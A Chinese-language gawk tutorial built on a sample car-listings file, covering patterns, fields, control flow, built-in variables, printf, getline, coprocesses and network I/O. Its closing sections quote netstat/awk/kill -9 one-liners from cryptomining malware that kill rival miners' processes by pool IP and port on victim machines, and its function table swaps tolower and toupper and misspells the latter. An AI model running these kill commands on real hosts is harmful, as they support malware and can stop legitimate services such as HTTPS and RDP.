Jade Dungeon

gawk

调用gawk

使用示例文件cars,字段用Tab分隔,整个文件中没有空格:

plym    fury    1970    73      2500
chevy   malibu  1999    60      3000
ford    mustang 1965    45      10000
volvo   s80     1998    102     9850
ford    thundbd 2003    15      10500
chevy   malibu  2000    50      3500
bmw     325i    1985    115     450
honda   accord  2001    30      6000
ford    taurus  2004    10      1700
toyota  rav4    2002    180     750
chevy   impata  1985    85      1550
ford    explor  2003    25      9500

gawk程序的基本格式,是对指定的模式(pattern),采用对应的操作(action):

pattern {action}

例如以下程序对于所有的模式(/.*/)都执行打印当前行的操作:

$ gawk '/.*/ {print}' cars
plym    fury    1970    73      2500
chevy   malibu  1999    60      3000
ford    mustang 1965    45      10000
volvo   s80     1998    102     9850
ford    thundbd 2003    15      10500
chevy   malibu  2000    50      3500
bmw     325i    1985    115     450
honda   accord  2001    30      6000
ford    taurus  2004    10      1700
toyota  rav4    2002    180     750
chevy   impata  1985    85      1550
ford    explor  2003    25      9500

gawk默认的模式是所有的模式(/.*/);默认的操作是打印当前行:

$ gawk '/chevy/' cars       # default action is print
chevy   malibu  1999    60      3000
chevy   malibu  2000    50      3500
chevy   impata  1985    85      1550

$ gawk '{print}' cars       # default patten is all
plym    fury    1970    73      2500
chevy   malibu  1999    60      3000
ford    mustang 1965    45      10000
volvo   s80     1998    102     9850
ford    thundbd 2003    15      10500
chevy   malibu  2000    50      3500
bmw     325i    1985    115     450
honda   accord  2001    30      6000
ford    taurus  2004    10      1700
toyota  rav4    2002    180     750
chevy   impata  1985    85      1550
ford    explor  2003    25      9500

把从程序文件中读取程序

  • -f filename
  • --file filename

在一个可执行文本文件头上直接加上#!/bin/gawk -f可以直接作为gawk可执行脚本。

基本概念

正则表达式

gawk中正则表达式用斜杠包围。

字段

使用符号$加字段号来表示字段, $0表示整个一行, $1开始表示被分隔符隔出来的第几列:

$ gawk '/chevy/ {print $0}' cars
chevy   malibu  1999    60      3000
chevy   malibu  2000    50      3500
chevy   impata  1985    85      1550

$ gawk '/chevy/ {print $3, $1}' cars
1999 chevy
2000 chevy
1985 chevy

匹配操作符

  • 匹配操作符~,测试某个字段或是变量是否匹配特定的模式。
  • 不匹配操作符!~

例,在第一列中包含h

$ gawk '$1 ~ /h/ {print}' cars
chevy   malibu  1999    60      3000
chevy   malibu  2000    50      3500
honda   accord  2001    30      6000
chevy   impata  1985    85      1550

例,第一列中以h开头:

$ gawk '$1 ~ /^h/' cars
honda   accord  2001    30      6000

格式化输出

print函数使用逗号分隔输出的每一列:

$ gawk '$2 ~ /^[tm]/ {print $3, $2, "$" $5}' cars
1999 malibu $3000
1965 mustang $10000
2003 thundbd $10500
2000 malibu $3500
2004 taurus $1700

$ gawk '$3 ~ /5$/ {print $3, $1, "$" $5}' cars
1965 ford $10000
1985 bmw $450
1985 chevy $1550

比较操作符

对于比较的数字,如果有双引用就作为字符串比较, 没有双引号就作为数值比较:

$ gawk '$3 == 1985' cars
bmw     325i    1985    115     450
chevy   impata  1985    85      1550

$ gawk '$5 <= 3000' cars
plym    fury    1970    73      2500
chevy   malibu  1999    60      3000
bmw     325i    1985    115     450
ford    taurus  2004    10      1700
toyota  rav4    2002    180     750
chevy   impata  1985    85      1550

$ gawk '"2000" <= $5 && $5 <= "9000"' cars
plym    fury    1970    73      2500
chevy   malibu  1999    60      3000
chevy   malibu  2000    50      3500
bmw     325i    1985    115     450
honda   accord  2001    30      6000
toyota  rav4    2002    180     750

$ gawk '2000 <= $5 && $5 <= 9000' cars
plym    fury    1970    73      2500
chevy   malibu  1999    60      3000
chevy   malibu  2000    50      3500
honda   accord  2001    30      6000

范围操作符

模式中可以用逗号作为范围操作(目标文件中的范围):

$ gawk '/volvo/ , /bmw/' cars
volvo   s80     1998    102     9850
ford    thundbd 2003    15      10500
chevy   malibu  2000    50      3500
bmw     325i    1985    115     450

范围是贪婪匹配的:

$ gawk '/chevy/ , /ford/' cars
chevy   malibu  1999    60      3000
ford    mustang 1965    45      10000
chevy   malibu  2000    50      3500
bmw     325i    1985    115     450
honda   accord  2001    30      6000
ford    taurus  2004    10      1700
chevy   impata  1985    85      1550
ford    explor  2003    25      9500

基本控制结构

if条件:

$ gawk '{if ($1 ~ /ply/) $1 = "Plymouth"; if ($1 ~ /chev/) $1 = "Chevrolet"; print}' cars
Plymouth fury 1970 73 2500
Chevrolet malibu 1999 60 3000
ford    mustang 1965    45      10000
volvo   s80     1998    102     9850
ford    thundbd 2003    15      10500
Chevrolet malibu 2000 50 3500
bmw     325i    1985    115     450
honda   accord  2001    30      6000
ford    taurus  2004    10      1700
toyota  rav4    2002    180     750
Chevrolet impata 1985 85 1550
ford    explor  2003    25      9500

if-else:

$ cat price_range
{
        if      ($5 <= 5000)                $5 = "inexpensive"
        else if ( 5000 <  $5 && $5 < 10000) $5 = "please ask"
        else if (10000 <= $5)               $5 = "expensive"
        printf "%-10s %-8s %2d   %5d     %-12s\n", $1, $2, $3, $4, $5
}

$ gawk -f price_range cars
plym       fury     1970      73     inexpensive
chevy      malibu   1999      60     inexpensive
ford       mustang  1965      45     expensive
volvo      s80      1998     102     please ask
ford       thundbd  2003      15     expensive
chevy      malibu   2000      50     inexpensive
bmw        325i     1985     115     inexpensive
honda      accord   2001      30     please ask
ford       taurus   2004      10     inexpensive
toyota     rav4     2002     180     inexpensive
chevy      impata   1985      85     inexpensive
ford       explor   2003      25     please ask

while语句:

while (condition)
	{commands}

for语句:

for (init; condition; increment)
	{commands}

BEGIN 预先操作步骤

BEGIN模式可以定义在处理数据前的操作。

比如打印一个表头:

$ cat pr_header
BEGIN   {print "Make    Model   Year    Miles   Price"}
        {print}

$ gawk -f pr_header cars
Make    Model   Year    Miles   Price
plym    fury    1970    73      2500
chevy   malibu  1999    60      3000
ford    mustang 1965    45      10000
volvo   s80     1998    102     9850
ford    thundbd 2003    15      10500
chevy   malibu  2000    50      3500
bmw     325i    1985    115     450
honda   accord  2001    30      6000
ford    taurus  2004    10      1700
toyota  rav4    2002    180     750
chevy   impata  1985    85      1550
ford    explor  2003    25      9500


$ cat pr_header2
BEGIN   {
        print "Make     Model   Year    Miles   Price"
        print "-------------------------------------"
}
        {print}

$ gawk -f pr_header2 cars
Make    Model   Year    Miles   Price
-------------------------------------
plym    fury    1970    73      2500
chevy   malibu  1999    60      3000
ford    mustang 1965    45      10000
volvo   s80     1998    102     9850
ford    thundbd 2003    15      10500
chevy   malibu  2000    50      3500
bmw     325i    1985    115     450
honda   accord  2001    30      6000
ford    taurus  2004    10      1700
toyota  rav4    2002    180     750
chevy   impata  1985    85      1550
ford    explor  2003    25      9500

END 后续操作步骤

END是在处理完所有的行以后才执行的操作:

$ gawk 'END {print "table end" }' cars
table end

常用函数

length(str)            # 当前行长度
int(num)               # 文本转数字
index(str1, str2)      # `str2`在`str1`中的位置
split(str, arr, del)   # 分割字符串为数组
sprintf(fmt, args)     # 格式化输出
substr(str, pos, len)  # 截取字符串
tolower(str)           # 转大写
otupper(str)           # 转小写

length函数

按每一行的长度排序:

$ gawk '{print length, $0}' cars | sort -n
21 bmw  325i    1985    115     450
22 plym fury    1970    73      2500
23 volvo        s80     1998    102     9850
24 ford explor  2003    25      9500
24 ford taurus  2004    10      1700
24 toyota       rav4    2002    180     750
25 chevy        impata  1985    85      1550
25 chevy        malibu  1999    60      3000
25 chevy        malibu  2000    50      3500
25 honda        accord  2001    30      6000
26 ford mustang 1965    45      10000
26 ford thundbd 2003    15      10500

常用变量

  • $0表示一行记录。
  • $n表示一行被分隔成的第n列。

NF 当前记录的字段数量

NR记录行号

变量NR记录了行号。

$ gawk 'NR == 1' cars
plym    fury    1970    73      2500

$ gawk 'NR <= 1' cars
plym    fury    1970    73      2500

$ gawk 'NR <= 5' cars
plym    fury    1970    73      2500
chevy   malibu  1999    60      3000
ford    mustang 1965    45      10000
volvo   s80     1998    102     9850
ford    thundbd 2003    15      10500

大于24字符的有哪几行:

$ gawk 'length > 24 {print NR}' cars
2
3
5
6
8
11

显示第二到第四行:

$ gawk 'NR == 2 , NR == 4' cars
chevy   malibu  1999    60      3000
ford    mustang 1965    45      10000
volvo   s80     1998    102     9850

处理完所有的行以后,统计行数:

$ gawk 'END {print NR,  "cars for sale." }' cars
12 cars for sale.

可以对不同的行采取不同的逻辑,比如这个例子中第一行是日期,和其他的行不一样:

$ cat report
NR == 1 {print "Report for", $1 ", " $2}
NR >  1 {print $5 "\t" $1}

$ (date; cat cars) | gawk -f report
Report for 2017年01月19日, 15:18:39
2500    plym
3000    chevy
10000   ford
9850    volvo
10500   ford
3500    chevy
450     bmw
6000    honda
1700    ford
750     toyota
1550    chevy
9500    ford

输入记录的分隔符 RS

默认是换行符。

输出记录的分隔符 ORS

默认是换行符。

输入字段的分隔符FS

变量FS指定了输入的记录用什么符号分隔字段,默认是空白字符。

例如Linux的用户配置是用:来分隔的:

$ gawk '/qwshan/ {print}' /etc/passwd
qwshan:*:1155062:1049089:U-CN1\qwshan,S-1-5-21-3921055674-81672782-3985740813-106486:/home/qwshan:/usr/bin/zsh

所以程序中要先指定FS为冒号,这样才能正确地分隔字段。 程序中找取所有UID中最大的那个数,那么下一个可用的UID就是现有最大的那个加1:

$ cat find_uid
BEGIN       { FS = ":"; saveit = 0 }
$3 > saveit { saveit = $3 }
END         { print "Next available UID is " saveit + 1}

$ gawk -f find_uid /etc/passwd
Next available UID is 1195796

输出字段分隔符的 OFS变量

用制表符来对齐输出的报表,默认是空格符。

例:

$ cat ofs_defo
BEGIN   {OFS = "\t"}
        {
                if ($1 ~ /ply/)  $1 = "Plymouth"
                if ($1 ~ /chev/) $1 = "Chevrolet"
                print
        }

$ gawk -f ofs_defo cars
Plymouth        fury    1970    73      2500
Chevrolet       malibu  1999    60      3000
ford    mustang 1965    45      10000
volvo   s80     1998    102     9850
ford    thundbd 2003    15      10500
Chevrolet       malibu  2000    50      3500
bmw     325i    1985    115     450
honda   accord  2001    30      6000
ford    taurus  2004    10      1700
toyota  rav4    2002    180     750
Chevrolet       impata  1985    85      1550
ford    explor  2003    25      9500

printf格式化输出

$ cat printf_demo
BEGIN {
        print "                           Miles"
        print "Make       Model    Year   (000)        price"
        print "---------------------------------------------"
}
{
        if ($1 ~ /ply/)  $1 = "Plymouth"
        if ($1 ~ /chev/) $1 = "Chevrolet"
        printf "%-10s %-8s %2d   %5d   $ %8.2f\n", $1, $2, $3, $4, $5
}

$ gawk -f printf_demo cars
                           Miles
Make       Model    Year   (000)        price
---------------------------------------------
Plymouth   fury     1970      73   $  2500.00
Chevrolet  malibu   1999      60   $  3000.00
ford       mustang  1965      45   $ 10000.00
volvo      s80      1998     102   $  9850.00
ford       thundbd  2003      15   $ 10500.00
Chevrolet  malibu   2000      50   $  3500.00
bmw        325i     1985     115   $   450.00
honda      accord   2001      30   $  6000.00
ford       taurus   2004      10   $  1700.00
toyota     rav4     2002     180   $   750.00
Chevrolet  impata   1985      85   $  1550.00
ford       explor   2003      25   $  9500.00

输出重定向

把不同的品牌导入到不同的文件中:

$ cat redirect_out
/chevy/ {print > "chevfile"}
/ford/  {print > "fordfile"}
END     {print "done."}

$ gawk -f redirect_out cars
done.

$ cat chevfile
chevy   malibu  1999    60      3000
chevy   malibu  2000    50      3500
chevy   impata  1985    85      1550

$ cat fordfile
ford    mustang 1965    45      10000
ford    thundbd 2003    15      10500
ford    taurus  2004    10      1700
ford    explor  2003    25      9500

用户声明变量

用户使用变量时,自动声明并初始化变量。

例如,统计车的价格与年限:

$ cat summary
BEGIN {
        yearsum = 0; costsum = 0; newcostsum = 0; newcount = 0;
}

{ yearsum += $3; costsum += $5; }
$3 > 2000 {newcostsum += $5; newcount++}

END {
        printf "       Average age of cars is %4.1f years.\n", 2017 - (yearsum / NR)
        printf "      Average cost of cars is %7.2f .\n",      costsum / NR
        printf "Average cost of newer cars is %7.2f .\n",      newcostsum / newcount
}
$ gawk -f summary cars
       Average age of cars is 24.1 years.
      Average cost of cars is 4941.67 .
Average cost of newer cars is 5690.00 .

数组

gawk中的数组不一定要用数字做下标,还可以用字符串做下标。

例,定义一个数组myarr,下标是每条记录的第一列:

$ cat mfnuf
{myarr[$1]++}
END {for (name in myarr) print name, myarr[name]}

$ gawk -f mfnuf cars
honda 1
bmw 1
volvo 1
ford 4
plym 1
chevy 3
toyota 1

getline 输入控制

getline语句把输入的一行内容存入指定变量。

如果不指定变量名,那么内容会被存到$0,并尝试拆分字段。

$ echo 'hello world' | gawk 'BEGIN {getline; print $0}'
hello world

$ echo 'hello world' | gawk 'BEGIN {getline; print $1}'
hello

$ echo 'hello world' | gawk 'BEGIN {getline; print $2}'
world

不指定文件,就从输入流里读:

$ gawk  'BEGIN {getline aa; print aa}'
input in colsole
input in colsole

如果输入的内容有多行,那么只读取第一行:

$ echo 'aaaaaaaaaaaa' | gawk  'BEGIN {getline aa; print aa}' 
aaaaaaaaaaaa

$ cat alpha
aaaaaaaaaaaa
bbbbbbbbbbbb
cccccccccccc
dddddddddddd
eeeeeeeeeeee

$ gawk  'BEGIN {getline aa; print aa}' alpha
aaaaaaaaaaaa

$ cat alpha | gawk  'BEGIN {getline aa; print aa}' 
aaaaaaaaaaaa

getline独立于gawk的自动读取与$0,当读到一个变量的值时, 并不修改$0, 或是$1 $2

$ cat getlineexp
{
	print NR, "$0: ", $0
	getline aa
	print NR, "aa: ", aa
}

$ gawk -f getlineexp < alpha
1 $0:  aaaaaaaaaaaa
2 aa:  bbbbbbbbbbbb
3 $0:  cccccccccccc
4 aa:  dddddddddddd
5 $0:  eeeeeeeeeeee
5 aa:  dddddddddddd

程序getlineexp2第一段输出的内容是由gawk自动读取的。 第一段对所有b开头的行进行特殊处理,getline读到的内容存到变量hold中, 然后输出"skip this line",然后输出$1的值。

$1的内容是gawk自动读入的记录而不是getline读取的。

最后一段程序显示了当前的行号NR,即使getline读取变量的时候没有修改$0, 也会增加NR的值。

$ cat getlineexp2
# print all lines except those read with getline
{ print "line #", NR, $0 }

# if line begins with "b" process it specially
/^b/ {
        # use getline to read the next line into variable named hold
        getline hold

        # print value of hold
        print "skip this line: ", hold

        # $0 is not affected when getline reads into a variable
        # $1 still holds previous value
        print "previous line began with: ", $1
}

{
        print ">>> finished processing line # ", NR
        print ""
}


$ gawk -f getlineexp2 < alpha
line # 1 aaaaaaaaaaaa
>>> finished processing line #  1

line # 2 bbbbbbbbbbbb
skip this line:  cccccccccccc
previous line began with:  bbbbbbbbbbbb
>>> finished processing line #  3

line # 4 dddddddddddd
>>> finished processing line #  4

line # 5 eeeeeeeeeeee
>>> finished processing line #  5

协进程:双向I/O

协进程(coprocess)是指另一个并行运行的进程。 gawk通过启动进程的程序名称前加上|&操作符方式标识协进程。

协进程必须是一个过滤器(标准输入和输出),并在每处理完一行之后清空输出, 不然会导致积累后面的输出。这样协进程通过双向管道连接到gawk程序。

系统自带的tr程序每读一行之后不会刷新输出,所以这里自己包装一个to_upper程序 :

#!/bin/bash
#set -x
while read arg
do
	echo "$arg" | tr '[a-z]' '[A-Z]'
done

在程序里建立双向管道:

$ cat getlineexp3
{
        print $0 |& "./to_upper"
        "./to_upper" |& getline hold
        print hold
}

$ gawk -f getlineexp3 < alpha
AAAAAAAAAAAA
BBBBBBBBBBBB
CCCCCCCCCCCC
DDDDDDDDDDDD
EEEEEEEEEEEE

从网络读取数据

在协进程的基础上,可以实现从网络读取数据,一般格式为:

/inet/protocol/local-port/remote-host/remote-port
  • protocol是协议,一般为tcpudp
  • local-port默认为0,也可以指定本地端口。
  • 还有远程地址与端口。
BEGIN {
	# create web client from website
	server = "/inet/tcp/0/localhost/8080"

	print "GET /files/datafile/cars" |& server

	while (server |& getline) {
		print $0
	}
}

其他例子

分类分组

John Daggett, 341 King Road, Plymouth MA
Alice Ford, 22 East Broadway, Richmond VA
Orville Thomas, 11345 Oak Bridge Road, Tulsa OK
Terry Kalkas, 402 Lans Road, Beaver Falls PA
Eric Adams, 20 Post Road, Sudbury MA
Hubert Sims, 328A Brook Road, Roanoke VA
Amy Wilde, 334 Bayshore Pkwy, Mountain View CA
Sal Carpenter, 73 6th Street, Boston MA

需要对上述文件的操作:

  • 将上述文件中的最后一列中的MA、VA、PA等替换成城市名称。
  • 根据城市名称进行归类,将同属一个城市的人归为同一类。

操作(1) 创建sed脚本完成替换任务。

s/CA/, California/
s/MA/, Massachusetts/
s/OK/, Oklahoma/
s/PA/, Pennsylvania/
s/VA/, Virginia/

(2) 创建awk脚本对城市进行排序并根据城市对人进行归类。

#!/bin/sh
awk -F, '{
        print $4 ", " $0
         }' $* |          # $*代表接收命令行中的所有字符流,将城市 $4 一列单独取出放在开头方便排序。
sort |     # 排序
awk -F, '
$1 == LastState {
    print "    \t" $2     # 如果此行城市名与LastState相同,则只打印人名
}
$1 != LastState {         # 如果此行城市名与LastState不同,将此行的城市名赋给LastState,首先顶格打印城市名,然后再打印城市名。
    LastState = $1         
    print $1
    print "    \t" $2
}'

(3) 执行下述命令完成文件处理。

sed -f nameState.sed list|sh byState.awk

(4) 即可完成如下结果。

 California
         Amy Wilde
 Massachusetts
         Eric Adams
         John Daggett
         Sal Carpenter
 Oklahoma
         Orville Thomas
 Pennsylvania
         Terry Kalkas
 Virginia
         Alice Ford
         Hubert Sims

通过IP地址定位进程

通过IP地址定位竞争对手先看下面这两行代码:

netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep 140.82.52.87  | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %

其中的含义是:在受害者机器里寻找特定IP地址 (和竞争对手有关,比如竞争对手的矿池地址)相关的进程,杀掉它们。

通过端口号定位进程

通过一些「奇怪的端口号」定位竞争对手再看这几行代码:

netstat -anp | grep :23   | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :443  | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :143  | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %

像2222、3333、6666、5555、6665这种端口号,一般情况下是不会开的, 但是挖矿木马经常用,所以挖矿团伙会把竞争对手们常用的端口号收集起来, 在受害者的机机器里寻找相关进程,咔嚓掉。